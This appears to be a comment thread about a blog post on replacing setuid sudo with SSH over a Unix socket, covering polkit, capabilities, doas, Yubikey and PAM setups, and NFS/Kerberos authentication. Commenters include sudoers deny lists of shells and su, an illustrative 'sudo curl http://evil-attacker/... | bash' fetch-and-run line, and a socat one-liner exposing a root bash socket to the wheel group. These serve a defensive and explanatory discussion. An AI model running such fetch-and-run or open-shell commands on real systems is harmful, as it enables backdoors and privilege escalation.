Sudo without a setuid binary or SSH over a Unix socket
tim.siosm.fr
tim.siosm.fr
For instance, try running "systemctl stop sshd" as a non-root admin user. You will be prompted for a password, and ultimately able to do it; but no setuid binary is involved.
Instead, your command is sent to an already running daemon, which performs its own policy checks to see if you are allowed to proceed, before executing the action on your behalf.
At a glance, this sounds a lot like how setuid binaries work. The main difference is that setuid processes inherit a lot of state from the calling process. As a result, there have been a lot of attacks based on setting up the environment before calling a setuid program. The message passing approach removes that entire class of attacks.
In the case of a sudo replacement, you often want that state to pass through. However, a message passing sudo can still pass the state, and have the daemon set it when spawning the requested command. Since you can pass file descriptors between processes, you don't even need to take a performance hit (other than possibly increase overhead in the time before execution starts)
Sometimes this has the effect of concealing the security properties.
E.g. I had a quite unwelcome discovery that on Fedora a number of years ago where arbitrary users could reset the system time as a result of desktop affordances that were misplaced on a multiuser system and weren't locked out by traditional security measures.
So, e.g. when some message-passing driven elevation thing adds intentionally adds new interface it may be pretty opaque to the system operator even compared to a SUID binary (which at a least ought to have commandline help!).
Aside, the real merits of sudo are command filtering and logging. The way random desktops use it today is pretty much an abuse of the tool: might as well give the user the ability to execute suid copy of bash. :)
Apparently when you create a process as another user on Windows by default the new process inherits parent's environment variables even though they belong to different users. That includes user-specific paths such as $TMP or $APPDATA. So most programs immediately fail because they try to write to the temp directory of parent's user.
Solved this with a combination of LoadUserProfile and GetEnvironmentBlock.
Polkit/pkexec is setuid.
pkexec is setuid, it gets launched as root, asks polkit, and then does the thing the user asks or exits saying "you're not allowed".
What I am thinking of is that set[ug]id should already be superseded by capabilities(7). Now, I know CAP_SYS_ADMIN gets flak for being too overpowered and not being better than sudo. However, there are other capabilities which are sometimes sufficient. For example, slock used to require setuid, but now it is sufficent to add CAP_DAC_READ_SEARCH and CAP_SYS_RESOURCE to the generated binary.
So, as cool as the idea is, when it comes to setuid/setgid, I don't see what it gives me relative to capabilities.
The more interesting use case, from where I'm sitting, is that it makes it easy to use a yubikey for 2FA access to sudo, whereas until now I only heard about needing to muck around with PAM.
Edit: Ah, I just re-read the lede and I think I misunderstood what the article was going for. It's not talking about replacing set[ug]id in general, it's using the stigma of set[ug]id as a motivation for replacing sudo. That's probably not the way I would have chosen to motivate the technique, but I can also see that my above criticism was ill-premised.
Sudo by default requires users to authenticate with their own password to perform the action (with a grace period for multiple invocations in the same shell within a given timeframe)
This also seems like it would then allow those same users to ssh directly to root from a remote connection (ie consider users who ssh to their own account on a machine and need sudo on it; this then allows them to ssh straight to root)
this removes sudo's capabilities to limit users by commands and hosts, opens a unix device based attack vector, probably a new process..
Surely, author assumes sudo would be a blanket root, and this assumption have merit most of the time.
I can't recall how many times I had to argue about de-merits of using "sudo su".
# Prevent the trivial `sudo su -`
# Cmd_Alias SU = /usr/bin/su, /bin/su
# %wheel ALL=(ALL) NOPASSWD: ALL, !SU
And also, unfortunately, because of sudo's path-based "security" < 1.9.10 without regex matching, there's no sensible way to enforce who can run what except by lengthy allow lists and denying everything else. # Prevent trivial interactive shell spawning
# Problem/feature: this allows `sudo chroot / bash -li`
# Cmd_Alias SBIN = /usr/sbin/*, /sbin/*
# Cmd_Alias SHELLS = /bin/bash, /bin/bash-static, /bin/busybox, /bin/busybox-static, /bin/csh, /bin/csh-static, /bin/dash, /bin/dash-static, /bin/fish, /bin/fish-static, /bin/ksh, /bin/ksh-static, /bin/ksh93, /bin/ksh93-static, /bin/lksh, /bin/lksh-static, /bin/mksh, /bin/mksh-static, /bin/pdksh, /bin/pdksh-static, /bin/rbash, /bin/rbash-static, /bin/rbusybox, /bin/rbusybox-static, /bin/rcsh, /bin/rcsh-static, /bin/rdash, /bin/rdash-static, /bin/rfish, /bin/rfish-static, /bin/rksh, /bin/rksh-static, /bin/rksh93, /bin/rksh93-static, /bin/rlksh, /bin/rlksh-static, /bin/rmksh, /bin/rmksh-static, /bin/rpdksh, /bin/rpdksh-static, /bin/rtcsh, /bin/rtcsh-static, /bin/rzsh, /bin/rzsh-static, /bin/sh, /bin/sh-static, /bin/tcsh, /bin/tcsh-static, /bin/zsh, /bin/zsh-static, /usr/bin/bash, /usr/bin/bash-static, /usr/bin/busybox, /usr/bin/busybox-static, /usr/bin/csh, /usr/bin/csh-static, /usr/bin/dash, /usr/bin/dash-static, /usr/bin/fish, /usr/bin/fish-static, /usr/bin/ksh, /usr/bin/ksh-static, /usr/bin/ksh93, /usr/bin/ksh93-static, /usr/bin/lksh, /usr/bin/lksh-static, /usr/bin/mksh, /usr/bin/mksh-static, /usr/bin/pdksh, /usr/bin/pdksh-static, /usr/bin/rbash, /usr/bin/rbash-static, /usr/bin/rbusybox, /usr/bin/rbusybox-static, /usr/bin/rcsh, /usr/bin/rcsh-static, /usr/bin/rdash, /usr/bin/rdash-static, /usr/bin/rfish, /usr/bin/rfish-static, /usr/bin/rksh, /usr/bin/rksh-static, /usr/bin/rksh93, /usr/bin/rksh93-static, /usr/bin/rlksh, /usr/bin/rlksh-static, /usr/bin/rmksh, /usr/bin/rmksh-static, /usr/bin/rpdksh, /usr/bin/rpdksh-static, /usr/bin/rtcsh, /usr/bin/rtcsh-static, /usr/bin/rzsh, /usr/bin/rzsh-static, /usr/bin/sh, /usr/bin/sh-static, /usr/bin/tcsh, /usr/bin/tcsh-static, /usr/bin/zsh, /usr/bin/zsh-static, /usr/local/bin/bash, /usr/local/bin/bash-static, /usr/local/bin/busybox, /usr/local/bin/busybox-static, /usr/local/bin/csh, /usr/local/bin/csh-static, /usr/local/bin/dash, /usr/local/bin/dash-static, /usr/local/bin/fish, /usr/local/bin/fish-static, /usr/local/bin/ksh, /usr/local/bin/ksh-static, /usr/local/bin/ksh93, /usr/local/bin/ksh93-static, /usr/local/bin/lksh, /usr/local/bin/lksh-static, /usr/local/bin/mksh, /usr/local/bin/mksh-static, /usr/local/bin/pdksh, /usr/local/bin/pdksh-static, /usr/local/bin/rbash, /usr/local/bin/rbash-static, /usr/local/bin/rbusybox, /usr/local/bin/rbusybox-static, /usr/local/bin/rcsh, /usr/local/bin/rcsh-static, /usr/local/bin/rdash, /usr/local/bin/rdash-static, /usr/local/bin/rfish, /usr/local/bin/rfish-static, /usr/local/bin/rksh, /usr/local/bin/rksh-static, /usr/local/bin/rksh93, /usr/local/bin/rksh93-static, /usr/local/bin/rlksh, /usr/local/bin/rlksh-static, /usr/local/bin/rmksh, /usr/local/bin/rmksh-static, /usr/local/bin/rpdksh, /usr/local/bin/rpdksh-static, /usr/local/bin/rtcsh, /usr/local/bin/rtcsh-static, /usr/local/bin/rzsh, /usr/local/bin/rzsh-static, /usr/local/bin/sh, /usr/local/bin/sh-static, /usr/local/bin/tcsh, /usr/local/bin/tcsh-static, /usr/local/bin/zsh, /usr/local/bin/zsh-static
# Cmd_Alias SAFER_BIN = /usr/bin/*, /bin/*, !SHELLS, !/usr/bin/env, !/bin/env, !/usr/bin/su, !/bin/su, !/usr/bin/sudo, !/bin/sudo
# %wheel ALL=(ALL) NOPASSWD: !ALL, SBIN, SAFER_BIN
With sudo 1.9.12+, the INTERCEPT feature attempts to police exec() further. (Unfortunately, most distros use old versions of sudo so this isn't a turnkey option.)My argument is based on the fact that being in your own user shell and having to prepend "sudo" for anything that really requires any other user permissions creates a "virtual psychological barrier" where you need to be "more aware" of your surroundings.
Being in a root shell makes this barrier go away and contextual information may not be leveraged well by most humans. And this leads to unnecessary risks.
I am using something a bit different than what TFA explains, but it's not dissimilar.
There's no sudo on my machine. The password to get to root is, on purpose, super long and very obnoxious: it's not realistic to type it every time I need root.
So I do I gain root access? Through a private LAN on which there are only two machines: my main machine and my "laptop for root access". So I have a laptop that has no Internet access and that is only connected, through a private LAN, to my main machine. I "ssh root@desktop" and then I tap my Yubikey (SSH is configured to refuse password login and the only key is protected by a Yubikey).
Does it mean "ssh root@..." is allowed on the desktop? Well, yes but:
- there's no password authentication allowed
- the only public key allowed has the matching private key on a Yubikey
- the Yubikey is hooked to a laptop
- the desktop has a firewall only allowing SSH in from my laptop's IP
So I'm not too concerned.So there's never any sudo or any su with a terminal opened on the desktop. And I don't need to trust anything I see on the desktop: I only trust what I on my laptop, after ssh'ing using the Yubikey to the desktop.
Because here's the thing: if an attacker has an exploit and can run sudo on my machine, then the terminal where I do "sudo apt-get install xcalc" might has well be "sudo curl http://evil-attacker/privilege-escalation-to-backdoor | bash" (while pretending, on screen, it's "sudo apt-get install xcalc"). And then my Yubikey asks me to click, I click (because I want to install xcalc). And I'm owned.
While good luck doing that on a laptop that is only ever used to establish an SSH session.
I'm also using lots of the hardened kernel and boot parameters (like preventing users from seeing other users' processes) and other little tricks explained in many hardening guides.
Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue.
P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.
[...]
> Set that up about ten months ago now (don't remember exactly). It's working flawlessly. Not a single issue.
So now your laptop hasn't had security updates for 10 months? Things like this are part of the reason I did the research in https://dgl.cx/2023/09/ansi-terminal-security.
It also funny that you've reinvented basically a serial console, but in a modern way, with a second factor. (You could actually just use a physical terminal with S/Key or something.)
> P.S: it's just a proof of concept... But I think that requiring to tap a Yubikey every single time you want to do something as root is something that should be envisaged/discussed more and it was great to read TFA doing it too.
Agreed, https://neilzone.co.uk/2022/11/using-a-yubikey-or-other-secu... is another potential option for this.
That is very interesting: I'll study that.
You're correct: it's a Debian 12.2 install (seriously hardened). I take it the surface attack is small. I'm literally using only SSH from that machine: it's got a firewall too. It's only allowing new SSH out session to the desktop. Every other traffic is rejected.
So what can realistically affect that machine? SSH exploits for sure...
So for example for the recent SSH "terraspin" exploit, I did implement the workaround (by removing broken Ciphers and MACs from the list of authorized ones).
I don't know about the rest: I mainly SSH as root into the desktop when I need to install a new package and that's about it.
I'm not losing too much sleep over that machine that is on a private LAN and which is not directly connected to the Internet (I'm running both 192.168.x.x and 10.x.x.x at home).
I'm not saying it's a panacea: it was mostly a proof of concept and as it's working fine for my usecase, I kept using it.
And how do you do user A can only run commands X, Y, and Z, and edit files in /etc/someapp/?
For those who believe that's true, why not run everything as root? I mean, seriously: why not just run the browser as root?
The security gain is significant on multi-user systems where you don't have sudo/doas privileges at all - even if a user is compromised, the system administrator should not have to worry about it.
> why not just run the browser as root?
Practically, last time I tried Chromium wouldn't let me. But Firefox did, at least.
The better answer is that they can use some level of internal sandboxing so that an exploit affecting one part of the browser doesn't make it out of the browser, and AIUI if every part runs as root it's easier to escape that layer of security.
Granted, a break in OpenSSH will get a lot of attention, but if we're operating at a level of paranoia where this is a relevant part of securing a system, that seems like the bad kind of overkill.
NFS is this mire of needing users and groups to be the same everywhere (possibly also needing to configure some translation layer(s)). MacOS starts numbering users at 501, most linux distros I'm aware of start at uid 1000, and I don't know, can you even mount NFS on windows? Most of the guides I've seen completely punt on any kind of homelab authentication, just advising to squash all users to nobody and have everything on the share be 0777 or whatever completely open facl that equates to.
With NFS, you don't authenticate as a storage consumer directly to the remote storage, you authenticate as a user to the OS and it deals with the storage on your behalf, but this seems like a layering/concerns violation.
From what I can tell SMB is a bit better because your client authenticates directly to the SMB server, but I have never figured out all the Windows-specific identity, groups, ACLs, etc.
All of these are kind of heavyweight for certain use cases too -- it would be handy to have userspace remote filesystems available on microcontrollers, but I don't necessarily want to run a tiny linux on them.
But.. if clients could sign remote storage connection requests with private keys and then that lets them mount whatever storage is on the other end with FUSE or something similar for microcontrollers.. then access to remote storage is completely agnostic of operating system.
OpenAFS also uses kerberos for auth, but has a separate 'aklog' for AFS tokens on top of that. It also solved permissions in an interesting way by completely foregoing OS permissions. This allowed them to have more fine grained than POSIX specified and made the permissions identical across platforms.
It seems like a bit more of a lift to go with Kerberos than even using something like LDAP in my home network for user provisioning. My whole screed above comes from reluctance to set up freeIPA.
If you do decide to go down the krb route (I highly recommend), skip free IPA and just run vanilla openldap and MIT Kerberos. It's one of those things that has a learning curve, but mostly just runs itself after that.
While I was writing the comment, I had in the back of my mind, “do I actually want iSCSI?” but it’s a whole can of worms I haven’t yet opened beyond reading the docs for csi-provisioner (which has direct support for provisioning per-workload zvols on my NAS)
socat UNIX-LISTEN:/tmp/socat-sudo,group=wheel,mode=660,fork EXEC:bash
wrapped into appropriate systemd service unit (and using better path for the socket)? might want to add some extra flags to make sure ptys etc are handled nicely, but still, this would allow privilege escalation in somewhat controlled mannerdang, can you add some punctuation to change the title to "Sudo without a setuid binary; or, SSH over a Unix socket"?
What do you mean by this?
I got confused because the topic of typography has something called Left/Right Side Bearing, which I guess I was trying to cram together with the implication that page "load"ing was affected somehow.
# /etc/pam.d/sudo
auth optional pam_faildelay.so delay=5000000
auth [success=1 default=ignore] pam_yubico.so authfile=/home/user/auth_file id=16
session required pam_env.so readenv=1 user_readenv=0
session required pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-auth
@include common-account
@include common-session-noninteractive
# /etc/pam.d/sshd auth optional pam_faildelay.so delay=5000000
auth requisite pam_yubico.so authfile=/home/user/auth_file id=16 debug
account include base-account
auth required pam_env.so
auth required pam_nologin.so successokHopefully this isn't using Yubico OTP, which is phishable:
1. Reconfigure pam_yubico to use local challenge-response auth instead of YubiCloud. The ykpamcfg(1) man page[1] explains how to do so.
2. Use pam_u2f to enable FIDO2/U2F auth. See, e.g.,
https://support.yubico.com/hc/en-us/articles/360016649099-Ub...
https://docs.fedoraproject.org/en-US/quick-docs/using-yubike...
Though on Fedora (and RHEL), I personally prefer authselect to hand-editing /etc/pam.d; in particular, authselect's "sssd" default profile includes optional U2F support:
$ authselect show sssd | fgrep -C 2 u2f | sed -ne '/u2f/,$p'
with-pam-u2f::
Enable authentication via u2f dongle through *pam_u2f*.
with-pam-u2f-2fa::
Enable 2nd factor authentication via u2f dongle through *pam_u2f*.
without-pam-u2f-nouserok::
Module argument nouserok is omitted if also with-pam-u2f-2fa is used.
*WARNING*: Omitting nouserok argument means that users without pam-u2f
authentication configured will not be able to log in *INCLUDING* root.
Make sure you are able to log in before losing root privileges.
[1] https://raw.githubusercontent.com/Yubico/yubico-pam/5719a2f8...I'm skeptical that `cd` is a reasonable/sufficient thing to do given how many other parts of process environment get dropped, or for that matter that `SHELL` is ever a safe thing to reference.
***
Regarding the general advisability of this approach ... using normal `ssh root@remotehost` is strictly more secure than `ssh user@remotehost` and then using `sudo` (since it cuts the attack surface in half), contrary to the common FUD (which dates to a time when you couldn't expect people to use keys).
But this article's approach seems worse than `sudo` in at least some ways.
doas
I’m surprised ‘doas’ has not been mentioned.It’s essentially a safer version of sudo, created by the OpenBSD folks (and has ports for other OS).
However I wouldn’t call for the deprecation of setuid entirely: ping and traceroute still use them to set up raw sockets to send out IP data grams with custom values.
For security the user the service runs under should not have full root, but only CAP_NET_RAW.
systemd even lets you make services that start up when recieving a message over dbus so you can avoid always having the service always running.
tracepath uses an option to set the TTL and works without setuid (although options like TCP tracerouting aren’t possible with that, but as mentioned that can use CAP_NET_RAW).
ping can also use a similar API to run fine unprivileged (fairly sure Fedora uses that already to have a non-setuid ping).
* http://man.9front.org/4/factotum
* https://en.wikipedia.org/wiki/Factotum_(software)
* http://9p.io/sys/doc/auth.html
A bit Kerberos-like.
Hmmm. I can agree with this pretty quickly at a superficial level. suid is extremely overused, however, I'm currently building a purpose-built container/sandbox runtime and I can't see how subordinate IDs (/etc/sub[ug]id) would work. Unless that portion of shadowutils was moved into the kernel? I can't see Linus being on board with that at all.
Some sort of ACL for which users a user+process is allowed to become might be useful, but that's what shadowutils is (mostly) doing anyway.
The danger though is being locked out on alternative init systems or those that can't run su because there's no root password or the root password is unavailable.
In really this is just systemd running root and spawn a managed child process `sshd` and allows a unix socket connection with a shell tty attached to it.
All this seems like overcomplecated engineering? Can we just simply spawn child shell from a root process instead? How about we give it alias and call it.... wait for it ... sudo ?